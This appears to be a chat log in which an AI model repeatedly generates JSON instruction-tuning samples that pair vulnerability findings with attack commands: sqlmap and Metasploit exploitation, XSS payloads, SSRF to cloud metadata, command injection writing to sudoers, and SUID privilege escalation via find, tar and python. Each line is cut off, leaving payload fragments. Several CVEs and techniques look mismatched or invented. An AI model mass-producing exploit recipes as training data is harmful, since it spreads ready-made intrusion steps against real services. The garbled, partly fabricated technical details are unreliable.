   "output": "Step 1 – Identify Vulnerability\nReflected XSS in error p  
 },  
 {  
   "instruction": "Generate the Metasploit command to exploit the Jenkin  
   "input": "Scan on jenkins.com:8080: Jenkins 2.190.3 vulnerable to CVE  
   "output": "Step 1 – Identify Vulnerability\nJenkins Groovy endpoint  
 },  
 {  
   "instruction": "Provide the commands to exploit the broken session ma  
   "input": "Finding: Session set via /set?sid=abc123, no regeneration o  
   "output": "Step 1 – Identify Vulnerability\nFixed sessions allow att  
 },  
 {  
   "instruction": "Generate the sqlmap command to exploit the stored SQL  
   "input": "Finding: Stored SQLi in 'comment' at https://blog.com/post-  
   "output": "Step 1 – Identify Vulnerability\nStored SQLi persists in  
 },  
 {  
   "instruction": "Provide the Python script to exploit the weak CAPTCHA  
   "input": "Finding: Login CAPTCHA at https://secure.com/login generate  
   "output": "Step 1 – Identify Vulnerability\nWeak image CAPTCHA allow  
 },  
 {  
   "instruction": "Generate the command to exploit the exposed SVN repos  
   "input": "Finding: SVN at http://svn.com/.svn/entries lists files lik  
   "output": "Step 1 – Identify Vulnerability\nExposed .svn dir reveals  
 },  
 {  
   "instruction": "Provide the curl commands to exploit the mass assignm  
   "input": "Finding: Register at https://reg.com/signup binds all JSON  
   "output": "Step 1 – Identify Vulnerability\nMass assignment sets una  
 },  
 {  
   "instruction": "Generate a two-step chain using LFI to include /proc/  
   "input": "Finding 1: LFI in /log.php?file=access.log. Finding 2: Log  
 
```

```

    "output": "Step 1 – Smuggle Request\nInject second request into log
},
{
  "instruction": "Assuming shell, provide commands to exploit the SUID
  "input": "Enum: /usr/bin/perl SUID root, allows BEGIN block for arbit
  "output": "Step 1 – Identify Privilege Escalation\nSUID perl execute
}
]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 7s

json

```

[
  {
    "instruction": "Generate the command to exploit the insecure deserial
    "input": "Finding: gRPC endpoint at https://grpc.com/service uses uns
    "output": "Step 1 – Identify Vulnerability\nUnsafe protobuf deserial
  },
  {
    "instruction": "Provide the curl command to exploit the open redirect
    "input": "Finding: Reset link at https://reset.com/verify?token=abc&r
    "output": "Step 1 – Identify Vulnerability\nOpen redirect in reset i
  },
  {
    "instruction": "Generate the Metasploit command to exploit the Fortin
    "input": "Scan on fortigate.com: FortiOS 7.0.5 vulnerable to CVE-2022
    "output": "Step 1 – Identify Vulnerability\nFortiOS HTTP handler all
  },
  {
    "instruction": "Provide the commands to exploit the insecure direct o
    "input": "Finding: Report API at https://reports.com/api/report/234 g
    "output": "Step 1 – Identify Vulnerability\nIDOR in report IDs expos
  },
  {
    "instruction": "Generate the sqlmap command to exploit the blind SQL
    "input": "Finding: Blind SQLi in 'role' cookie at https://roles.com/d
    "output": "Step 1 – Identify Vulnerability\nCookie-based blind SQLi
  },
  {
    "instruction": "Provide the curl command to exploit the JSONP vulnerab
    "input": "Finding: JSONP vulnerability in https://example.com/api/v1/da
    "output": "Step 1 – Identify Vulnerability\nJSONP vulnerability in JSONP
  }
]
```

```

    "instruction": "Provide the Python script to exploit the insecure non
    "input": "Finding: JWT at https://jwt.com/validate uses nonce= random
    "output": "Step 1 – Identify Vulnerability\nShort-lived but reusable
},
{
    "instruction": "Generate the command to exploit the exposed H2C endpoint
    "input": "Finding: Server at https://h2c.com supports h2c upgrade, vulnerable
    "output": "Step 1 – Identify Vulnerability\nH2C without TLS allows sending
},
{
    "instruction": "Provide the curl command to exploit the prototype pollution
    "input": "Finding: Config upload at https://yaml.com/upload parses YAML
    "output": "Step 1 – Identify Vulnerability\nYAML loader pollution overwriting
},
{
    "instruction": "Generate a two-step chain using SSRF to access metadata
    "input": "Finding 1: SSRF in /fetch?url=http://external. Finding 2: IMDS endpoint
    "output": "Step 1 – SSRF to Metadata\nSet url to IMDS endpoint.\n\nStep 2 –
},
{
    "instruction": "Assuming shell, provide commands to exploit the weak
    "input": "Enum: Sudo allows (root) NOPASSWD: /bin/cat /etc/*, regex a
    "output": "Step 1 – Identify Privilege Escalation\nLoose regex in sudo
}
]

```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 8s

json

```

[
{
    "instruction": "Generate the command to exploit the insecure use of base64 encoding
    "input": "Finding: Auth token at Authorization: Basic base64(user:password)
    "output": "Step 1 – Identify Vulnerability\nBase64 encoding (not URL encoded)
},
{
    "instruction": "Provide the curl command to exploit the reflected XSS
    "input": "Finding: API at https://api.com/search?q=<script>alert(1)</script>
    "output": "Step 1 – Identify Vulnerability\nReflected XSS
}
]
```

```
"output": "Step 1 – Identify Vulnerability\nJSON with reflected scri
},
{
  "instruction": "Generate the Metasploit command to exploit the Apache
  "input": "Scan on solr.com:8983: Solr 8.2.2 vulnerable to CVE-2017-12
  "output": "Step 1 – Identify Vulnerability\nSolr VelocityResponseWri
},
{
  "instruction": "Provide the commands to exploit the insecure temporar
  "input": "Finding: App creates /tmp/app_file.tmp, follows symlinks, a
  "output": "Step 1 – Identify Vulnerability\nSymlink in temp dir allo
},
{
  "instruction": "Generate the sqlmap command to exploit the JSON-based
  "input": "Finding: JSON param 'query' at https://json.com/search?{\\"i
  "output": "Step 1 – Identify Vulnerability\nJSON value injection int
},
{
  "instruction": "Provide the Python script to exploit the weak HMAC ke
  "input": "Finding: Token HMAC-SHA256 with key=MD5(timestamp), predict
  "output": "Step 1 – Identify Vulnerability\nWeak key derivation allo
},
{
  "instruction": "Generate the command to exploit the exposed memcached
  "input": "Finding: Memcached UDP at 10.0.0.100:11211 no auth, allows
  "output": "Step 1 – Identify Vulnerability\nUnauth memcached UDP ena
},
{
  "instruction": "Provide the curl command to exploit the insecure WebS
  "input": "Finding: WS at wss://ws.com/chat sends user messages as eva
  "output": "Step 1 – Identify Vulnerability\nUnevaluated WS messages all
},
{
  "instruction": "Generate a two-step chain using file upload to LFI fo
  "input": "Finding 1: Upload at /upload.php allows .txt with PHP code.
  "output": "Step 1 – Upload Malicious File\nUpload txt with <?php ech
},
{
  "instruction": "Assuming shell, provide commands to exploit the cgroup
  "input": "Enum: Kernel supports cgroup v1, /sys/fs/cgroup/release_ago
  "output": "Step 1 – Identify Privilege Escalation\nCgroup release_ag
}
]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 7s

json

```
[  
  {  
    "instruction": "Generate the command to exploit the insecure use of R",  
    "input": "Finding: API responses at https://api.com/data encrypted wi",  
    "output": "Step 1 – Identify Vulnerability\nRC4 with short keys is v",  
  },  
  {  
    "instruction": "Provide the curl command to exploit the directory tra",  
    "input": "Finding: Backup at https://backup.com/dl?file=backups/2025.",  
    "output": "Step 1 – Identify Vulnerability\nTraversal in backup para",  
  },  
  {  
    "instruction": "Generate the Metasploit command to exploit the Moodle",  
    "input": "Scan on moodle.com: Moodle 3.9.1 vulnerable to CVE-2021-269",  
    "output": "Step 1 – Identify Vulnerability\nMoodle assignment upload",  
  },  
  {  
    "instruction": "Provide the commands to exploit the insecure API key",  
    "input": "Finding: API key at X-API-Key header valid for 24h, no revo",  
    "output": "Step 1 – Identify Vulnerability\nDelayed rotation allows",  
  },  
  {  
    "instruction": "Generate the sqlmap command to exploit the time-based",  
    "input": "Finding: Time-based SQLi in path /user/1 at https://path.co",  
    "output": "Step 1 – Identify Vulnerability\nPath param injection ca",  
  },  
  {  
    "instruction": "Provide the Python script to exploit the insecure ran",  
    "input": "Finding: CSRF token at https://form.com/token is hex(random",  
    "output": "Step 1 – Identify Vulnerability\nShort random token allow",  
  },  
  {  
    "instruction": "Generate the command to exploit the exposed .git/logs",  
    "input": "Finding: /.git/logs/HEAD at http://gitapp.com/.git/logs/HEA",  
    "output": "Step 1 – Identify Vulnerability\nGit logs expose sensitiv",  
  },  
]
```

```
{
  "instruction": "Provide the curl commands to exploit the insecure des
  "input": "Finding: RabbitMQ at rabbitmq.com:5672 processes pickled AM
  "output": "Step 1 – Identify Vulnerability\nPickled AMQP allows dese
},
{
  "instruction": "Generate a two-step chain using RCE to cron persisten
  "input": "Finding 1: RCE in /cmd?exec=id. Finding 2: at daemon runnin
  "output": "Step 1 – Gain RCE\nExecute at for scheduled shell.\n\nSte
},
{
  "instruction": "Assuming shell, provide commands to exploit the kerne
  "input": "Enum: Ptrace scope 0, allows attaching to any process as lo
  "output": "Step 1 – Identify Privilege Escalation\nOpen ptrace allow
}
]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 7s

json

```
[
  {
    "instruction": "Generate the command to exploit the insecure use of S
    "input": "Finding: Mobile app pins SHA-1 hash of root CA, vulnerable
    "output": "Step 1 – Identify Vulnerability\nSHA-1 pinning is broken
  },
  {
    "instruction": "Provide the curl command to exploit the path traversa
    "input": "Finding: Purge at https://cdn.com/purge?path=/assets/style.
    "output": "Step 1 – Identify Vulnerability\nTraversal in purge path
  },
  {
    "instruction": "Generate the Metasploit command to exploit the Ivanti
    "input": "Scan on pulse.secure.com: Ivanti Pulse Secure 9.1 vulnerabl
    "output": "Step 1 – Identify Vulnerability\nPulse Secure flaw allows
  },
  {
    "instruction": "Provide the commands to exploit the insecure shared l
    "input": "Finding: App /app.exe searches current dir for DLLs before
  }
]
```

```
"output": "Step 1 – Identify Vulnerability\nDLL search order allows\n},\n{\n    "instruction": "Generate the sqlmap command to exploit the union SQL\n    \"input\": \"Finding: Union SQLi in Referer header at https://search.com\"\n    \"output\": \"Step 1 – Identify Vulnerability\\nHeader-based union SQLi\n},\n{\n    \"instruction\": \"Provide the Python script to exploit the weak ellipti\n    \"input\": \"Finding: TLS at https://ec.com uses secp256k1 with non-stan\n    \"output\": \"Step 1 – Identify Vulnerability\\nInvalid curve attack rec\n},\n{\n    \"instruction\": \"Generate the command to exploit the exposed Kuberneh\n    \"input\": \"Finding: K8s secret at https://k8s.com/api/v1/namespaces/de\n    \"output\": \"Step 1 – Identify Vulnerability\\nExposed secrets leak tok\n},\n{\n    \"instruction\": \"Provide the curl command to exploit the clickjacking\n    \"input\": \"Finding: Payment at https://pay.com/form lacks frame-ancest\n    \"output\": \"Step 1 – Identify Vulnerability\\nNo CSP frame-ancestors e\n},\n{\n    \"instruction\": \"Generate a two-step chain using command injection to\n    \"input\": \"Finding 1: Cmd injection in /run?cmd=ls. Finding 2: /etc/su\n    \"output\": \"Step 1 – Gain Injection\\nExecute tee to write to sudoers.\n},\n{\n    \"instruction\": \"Assuming shell, provide commands to exploit the eBPF\n    \"input\": \"Enum: Kernel 5.4 with unpriv eBPF allowed, CAP_SYS_ADMIN no\n    \"output\": \"Step 1 – Identify Privilege Escalation\\nUnpriv eBPF allow\n}\n]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 7s

json

```
[  
 {  
   "instruction": "Generate the command to exploit the insecure use of D  
   "input": "Finding: Encrypted notes in app use 3DES with key 'deskey12  
   "output": "Step 1 – Identify Vulnerability\n3DES with short keys vul  
 },  
 {  
   "instruction": "Provide the curl command to exploit the reflected XSS  
   "input": "Finding: API error at https://api.com/error?msg=<script>ale  
   "output": "Step 1 – Identify Vulnerability\nAPI error reflection in  
 },  
 {  
   "instruction": "Generate the Metasploit command to exploit the Oracle  
   "input": "Scan on weblogic.com:7001: WebLogic 12.2.1.4 vulnerable to  
   "output": "Step 1 – Identify Vulnerability\nIIOP deserialization in  
 },  
 {  
   "instruction": "Provide the commands to exploit the insecure file upl  
   "input": "Finding: Upload at /upload checks MIME type, but allows .ph  
   "output": "Step 1 – Identify Vulnerability\nMagic byte check bypasses  
 },  
 {  
   "instruction": "Generate the sqlmap command to exploit the boolean-ba  
   "input": "Finding: Boolean blind SQLi in 'userId' JSON at https://js  
   "output": "Step 1 – Identify Vulnerability\nBlind JSON SQLi infers c  
 },  
 {  
   "instruction": "Provide the Python script to exploit the insecure UUI  
   "input": "Finding: UUID v4 for orders at https://order.com/create use  
   "output": "Step 1 – Identify Vulnerability\nPredictable UUIDs enable  
 },  
 {  
   "instruction": "Generate the command to exploit the exposed RabbitMQ  
   "input": "Finding: RabbitMQ UI at http://rabbit.com:15672 unauth, all  
   "output": "Step 1 – Identify Vulnerability\nUnauth UI exposes queue  
 },  
 {  
   "instruction": "Provide the curl command to exploit the insecure CORS  
   "input": "Finding: API https://cors.com/api OPTIONS allows any method  
   "output": "Step 1 – Identify Vulnerability\nOverly permissive prefl  
 },  
 {  
   "instruction": "Generate a two-step chain using XXE to OOB XXE for ex  
   "input": "Finding 1: XXE in /xml at https://xml.com/xml. Finding 2: N
```

```

    "output": "Step 1 – Define External Entity\nUse <!ENTITY> with http:
},
{
  "instruction": "Assuming shell, provide commands to exploit the unquoted path",
  "input": "Enum: Windows service 'AppService' path \\\"C:\\Program Files\\",
  "output": "Step 1 – Identify Privilege Escalation\nUnquoted path allows privilege escalation"
}
]

```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 8s

json

```

[
{
  "instruction": "Generate the command to exploit the insecure use of CRLF injection in a file upload",
  "input": "Finding: API at https://cbc.com/decrypt uses PKCS7 padding",
  "output": "Step 1 – Identify Vulnerability\nPadding oracle in CBC algorithm allows for CRLF injection"
},
{
  "instruction": "Provide the curl command to exploit the directory traversal vulnerability",
  "input": "Finding: Log viewer at https://logs.com/view?log=app.log allows traversal",
  "output": "Step 1 – Identify Vulnerability\nTraversal in log parameter allows directory traversal"
},
{
  "instruction": "Generate the Metasploit command to exploit the Atlassian Crowd deserialization vulnerability",
  "input": "Scan on crowd.atlassian.com: Crowd 3.8.0 vulnerable to CVE-2023-35101",
  "output": "Step 1 – Identify Vulnerability\nCrowd deserialization allows remote code execution"
},
{
  "instruction": "Provide the commands to exploit the insecure direct object reference (IDOR) vulnerability",
  "input": "Finding: Gallery API at https://gallery.com/api/photo/567 vulnerable to IDOR",
  "output": "Step 1 – Identify Vulnerability\nIDOR in photo IDs allows for direct object reference"
},
{
  "instruction": "Generate the sqlmap command to exploit the error-based SQL injection vulnerability",
  "input": "Finding: Error SQLi in 'lang' cookie at https://lang.com/page",
  "output": "Step 1 – Identify Vulnerability\nCookie error SQLi leaks information"
}
]
```

```

    "instruction": "Provide the Python script to exploit the weak session",
    "input": "Finding: Session set via /login?session=abc, no change on a",
    "output": "Step 1 – Identify Vulnerability\nQuery-set session allows",
  },
  {
    "instruction": "Generate the command to exploit the exposed GitLab CI",
    "input": "Finding: GitLab CI at https://gitlab.com/project/-/pipeline",
    "output": "Step 1 – Identify Vulnerability\nPublic CI logs leak env",
  },
  {
    "instruction": "Provide the curl command to exploit the insecure file",
    "input": "Finding: Template load at https://tpl.com/load?template=use",
    "output": "Step 1 – Identify Vulnerability\nRFI in template param ex",
  },
  {
    "instruction": "Generate a two-step chain using SSRF to trigger inter",
    "input": "Finding 1: SSRF in /proxy?url=http://internal. Finding 2: I",
    "output": "Step 1 – SSRF to Internal\nProxy to vulnerable service.\r",
  },
  {
    "instruction": "Assuming shell, provide commands to exploit the kerne",
    "input": "Enum: Kernel 5.12 with userfaultfd enabled, allows arbitrar",
    "output": "Step 1 – Identify Privilege Escalation\nUserfaultfd misc",
  }
]

```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 8s

json

```

[
  {
    "instruction": "Generate the command to exploit the insecure use of M",
    "input": "Finding: File hashes at https://integrity.com/verify use MD",
    "output": "Step 1 – Identify Vulnerability\nMD4 collisions allow for",
  },
  {
    "instruction": "Provide the curl command to exploit the reflected XSS",
    "input": "Finding: Query at https://query.com/search?term=<script>ale",
  }
]

```

```
"output": "Step 1 – Identify Vulnerability\nUnencoded reflection in\n}\n{\n    "instruction": "Generate the Metasploit command to exploit the Splunk\n    \"input\": \"Scan on splunk.com:9443: Splunk 8.0.0 vulnerable to CVE-201\n    \"output\": \"Step 1 – Identify Vulnerability\nSplunk input processor a\n}\n{\n    "instruction": "Provide the commands to exploit the insecure direct o\n    \"input\": \"Finding: Event API at https://calendar.com/api/event/890 vi\n    \"output\": \"Step 1 – Identify Vulnerability\nIDOR in event IDs leaks\n}\n{\n    "instruction": "Generate the sqlmap command to exploit the stacked qu\n    \"input\": \"Finding: Stacked SQLi in 'update' param at https://update.c\n    \"output\": \"Step 1 – Identify Vulnerability\nStacked queries permit m\n}\n{\n    "instruction": "Provide the Python script to exploit the predictable\n    \"input\": \"Finding: Refresh token at https://oauth.com/refresh?token=a\n    \"output\": \"Step 1 – Identify Vulnerability\nSequential refresh toker\n}\n{\n    "instruction": "Generate the command to exploit the exposed Apache To\n    \"input\": \"Finding: Tomcat manager at http://tomcat.com:8080/manager/h\n    \"output\": \"Step 1 – Identify Vulnerability\nDefault creds on manager\n}\n{\n    "instruction": "Provide the curl command to exploit the prototype pol\n    \"input\": \"Finding: Merge endpoint at https://json.com/merge merges us\n    \"output\": \"Step 1 – Identify Vulnerability\nJSON merge pollution byp\n}\n{\n    "instruction": "Generate a two-step chain using command injection to\n    \"input\": \"Finding 1: Cmd injection in /test?param=ls. Finding 2: Netc\n    \"output\": \"Step 1 – Confirm Injection\nTest with ;id.\n\nStep 2 – S\n}\n{\n    "instruction": "Assuming shell, provide commands to exploit the SUID\n    \"input\": \"Enum: /usr/bin/python2.7 SUID root, allows os.setuid(0) in\n    \"output\": \"Step 1 – Identify Privilege Escalation\nSUID python execu\n}\n]\n]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 7s

json

```
[  
  {  
    "instruction": "Generate the command to exploit the insecure use of B  
    "input": "Finding: Passwords hashed with Blowfish (bcrypt) but cost=4  
    "output": "Step 1 – Identify Vulnerability\nLow bcrypt cost enables  
  },  
  {  
    "instruction": "Provide the curl command to exploit the stored XSS in  
    "input": "Finding: Post at https://forum.com/post stores <img src=x o  
    "output": "Step 1 – Identify Vulnerability\nStored XSS in posts exec  
  },  
  {  
    "instruction": "Generate the Metasploit command to exploit the Roundc  
    "input": "Scan on mail.roundcube.com: Roundcube 1.4.9 vulnerable to C  
    "output": "Step 1 – Identify Vulnerability\nRoundcube login SQLi all  
  },  
  {  
    "instruction": "Provide the commands to exploit the insecure direct o  
    "input": "Finding: Task API at https://tasks.com/api/task/345 updates  
    "output": "Step 1 – Identify Vulnerability\nIDOR in task IDs permits  
  },  
  {  
    "instruction": "Generate the sqlmap command to exploit the union SQL  
    "input": "Finding: Union SQLi in 'id' AJAX param at https://ajax.com/  
    "output": "Step 1 – Identify Vulnerability\nAJAX union SQLi allows c  
  },  
  {  
    "instruction": "Provide the Python script to exploit the insecure tok  
    "input": "Finding: SAML assertion at https://saml.com/validate binds  
    "output": "Step 1 – Identify Vulnerability\nWeak binding allows repl  
  },  
  {  
    "instruction": "Generate the command to exploit the exposed PostgreSQL  
    "input": "Finding: PostgreSQL at pg.com:5432 no auth, allows psql con  
    "output": "Step 1 – Identify Vulnerability\nUnauth PG exposes full [  
  },
```

```
{  
    "instruction": "Provide the curl command to exploit the insecure file  
    "input": "Finding: Upload at https://upload.com/file checks extension  
    "output": "Step 1 – Identify Vulnerability\nNull byte (%00) truncates file content"  
},  
{  
    "instruction": "Generate a two-step chain using LFI to read /proc/version  
    "input": "Finding 1: LFI in /view?file=home.php. Finding 2: Kernel 4.  
    "output": "Step 1 – Leak Kernel Version\nInclude /proc/version to identify kernel version"  
},  
{  
    "instruction": "Assuming shell, provide commands to exploit the writable netconfig file  
    "input": "Enum: /etc/netconfig writable, used by rpcbind, allows injection of routes  
    "output": "Step 1 – Identify Privilege Escalation\nWritable netconfig file allows route manipulation"  
}  
]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 8s

json

```
[  
    {  
        "instruction": "Generate the command to exploit the insecure key derivation function  
        "input": "Finding: API key generated as SHA256('salt' + user_id), salt is fixed and known  
        "output": "Step 1 – Identify Vulnerability\nFixed salt with known algorithm"  
    },  
    {  
        "instruction": "Provide the curl command to exploit the broken access control  
        "input": "Finding: Admin API at https://admin.com/api/users lacks role enforcement  
        "output": "Step 1 – Identify Vulnerability\nMissing role enforcement"  
    },  
    {  
        "instruction": "Generate the curl command to exploit sensitive data in URL  
        "input": "Finding: Logout at https://app.com/logout?session_token=eyJhbGciOiJIUzI1NiJ9...  
        "output": "Step 1 – Identify Vulnerability\nSensitive tokens in URL"  
    },  
    {  
        "instruction": "Provide the commands to exploit improper OAuth scope  
        "input": "Finding: OAuth client requests read:email but app grants write:profile"  
        "output": "Step 1 – Identify Vulnerability\nImproper OAuth scope"  
    }  
]
```

```
"output": "Step 1 – Identify Vulnerability\nOver-granted scopes enabled by default\n\n",\n{\n    "instruction": "Generate the curl command to exploit exposed debug mode\n",\n    "input": "Finding: Debug at https://debug.com/?debug=1 dumps env vars\n",\n    "output": "Step 1 – Identify Vulnerability\nEnabled debug leaks configuration\n\n",\n{\n    "instruction": "Provide the command to exploit deserialization in MessagePack\n",\n    "input": "Finding: Endpoint at https://msgpack.com/parse accepts MessagePack\n",\n    "output": "Step 1 – Identify Vulnerability\nMessagePack deserialization\n\n",\n{\n    "instruction": "Generate the curl command to exploit GraphQL introspection\n",\n    "input": "Finding: GraphQL at https:// gql.com/graphql allows __schema endpoint\n",\n    "output": "Step 1 – Identify Vulnerability\nIntrospection exposes high-level schema information\n\n",\n{\n    "instruction": "Provide the commands to exploit misconfigured Windows services\n",\n    "input": "Finding: Service 'Updater' runs as SYSTEM, binary in writable directory\n",\n    "output": "Step 1 – Identify Privilege Escalation\nWritable service account\n\n",\n{\n    "instruction": "Generate the command to exploit resource exhaustion in Redis\n",\n    "input": "Finding: Redis at redis.com:6379 no auth, allows SET key with large values\n",\n    "output": "Step 1 – Identify Vulnerability\nUnauth Redis permits large writes\n\n",\n{\n    "instruction": "Provide the curl command to exploit supply chain compromise\n",\n    "input": "Finding: App loads jquery.min.js from cdn.com, compromised\n",\n    "output": "Step 1 – Identify Vulnerability\nCompromised CDN JS execution\n\n",\n}\n}\n]\n}
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 7s

json

```
[  
 {  
   "instruction": "Generate the command to exploit the insecure use of H  
   "input": "Finding: API signatures at https://api.com/sign use HMAC-MD  
   "output": "Step 1 – Identify Vulnerability\nHMAC-MD5 length extensio  
 },  
 {  
   "instruction": "Provide the curl command to exploit the path traversa  
   "input": "Finding: Sitemap at https://sitemap.com/generate?dir=public  
   "output": "Step 1 – Identify Vulnerability\nTraversal in dir param g  
 },  
 {  
   "instruction": "Generate the Metasploit command to exploit the Telerik  
   "input": "Scan on telerik.com: Telerik RadAsyncUpload 2017.2.621 vuln  
   "output": "Step 1 – Identify Vulnerability\nTelerik upload allows .a  
 },  
 {  
   "instruction": "Provide the commands to exploit the insecure direct o  
   "input": "Finding: Invoice download at https://invoice.com/pdf/456 ge  
   "output": "Step 1 – Identify Vulnerability\nIDOR in invoice IDs expc  
 },  
 {  
   "instruction": "Generate the sqlmap command to exploit the blind SQL  
   "input": "Finding: Blind SQLi in GraphQL 'id' var at https://gql.com/  
   "output": "Step 1 – Identify Vulnerability\nGraphQL var injection in  
 },  
 {  
   "instruction": "Provide the Python script to exploit the weak entropy  
   "input": "Finding: OTP at https://otp.com/generate uses random(100000  
   "output": "Step 1 – Identify Vulnerability\nTime-seeded OTP allows g  
 },  
 {  
   "instruction": "Generate the command to exploit the exposed MongoDB w  
   "input": "Finding: MongoDB at mongodb://mongo.com:27017 no auth, allo  
   "output": "Step 1 – Identify Vulnerability\nUnauth MongoDB permits i  
 },  
 {  
   "instruction": "Provide the curl command to exploit the insecure file  
   "input": "Finding: Upload at https://upload.com/appends .php to files  
   "output": "Step 1 – Identify Vulnerability\nAppended extension allow  
 },  
 {  
   "instruction": "Generate a two-step chain using SSRF to access gopher  
   "input": "Finding 1: SSRF in /url?url=http://example. Finding 2: Loca
```

```
"output": "Step 1 – Craft Gopher Payload\nEncode SMTP commands in gopher://\n",\n{\n    "instruction": "Assuming shell, provide commands to exploit the SUID tar command\n",\n    "input": "Enum: /bin/tar SUID root, allows --checkpoint=1,checkpoint=0\n",\n    "output": "Step 1 – Identify Privilege Escalation\nSUID tar checks for SUID\n",\n},\n]\n\n
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 10s

json

```
[{\n    "instruction": "Generate the command to exploit the insecure use of ECC curve\n",\n    "input": "Finding: TLS handshake at https://ecc.com uses brainpoolP256r1\n",\n    "output": "Step 1 – Identify Vulnerability\nWeak ECC curve allows certain attacks\n",\n}, {\n    "instruction": "Provide the curl command to exploit the directory traversal\n",\n    "input": "Finding: Theme at https://theme.com/load?theme=default allows traversal\n",\n    "output": "Step 1 – Identify Vulnerability\nTraversal in theme parameter\n",\n}, {\n    "instruction": "Generate the Metasploit command to exploit the VMware vCenter API\n",\n    "input": "Scan on vcenter.vmware.com: vCenter 7.0 vulnerable to CVE-2023-22222\n",\n    "output": "Step 1 – Identify Vulnerability\nvCenter API allows command injection\n",\n}, {\n    "instruction": "Provide the commands to exploit the insecure direct object reference\n",\n    "input": "Finding: Comment API at https://blog.com/api/comment/234 ed\n",\n    "output": "Step 1 – Identify Vulnerability\nIDOR in comment IDs permits direct access\n",\n}, {\n    "instruction": "Generate the sqlmap command to exploit the time-based SQLi\n",\n    "input": "Finding: Time SQLi in X-Forwarded-For header at https://headlessapp.com\n",\n    "output": "Step 1 – Identify Vulnerability\nHeader time SQLi infers the correct value\n",\n}\n]
```

```
"instruction": "Provide the Python script to exploit the insecure session cookie at https://session.com",  
"input": "Finding: Session cookie at https://session.com lacks SameSite attribute",  
"output": "Step 1 – Identify Vulnerability\nNo SameSite enables cross-site tracking",  
},  
{  
    "instruction": "Generate the command to exploit the exposed FTP with anonymous login",  
    "input": "Finding: FTP at ftp.com:21 anonymous login allowed, writable dirs exist",  
    "output": "Step 1 – Identify Vulnerability\nAnon FTP writable dirs exist",  
},  
{  
    "instruction": "Provide the curl command to exploit the insecure session cookie",  
    "input": "Finding: Session cookie base64(pickle.dumps(session_dict))",  
    "output": "Step 1 – Identify Vulnerability\nPickle cookie allows gac",  
},  
{  
    "instruction": "Generate a two-step chain using file upload to SSRF function",  
    "input": "Finding 1: Upload at /upload allows .txt with http:// content",  
    "output": "Step 1 – Upload Malicious File\nCreate txt with http://169.254.1.100",  
},  
{  
    "instruction": "Assuming shell, provide commands to exploit the SUID root",  
    "input": "Enum: /usr/bin/find SUID root, allows -exec /bin/sh \\; -qu",  
    "output": "Step 1 – Identify Privilege Escalation\nSUID find -exec & ;",  
}  
]
```

↳ More samples on crypto vulns

↳ OWASP Top 10 examples

↳ Add more priv esc variants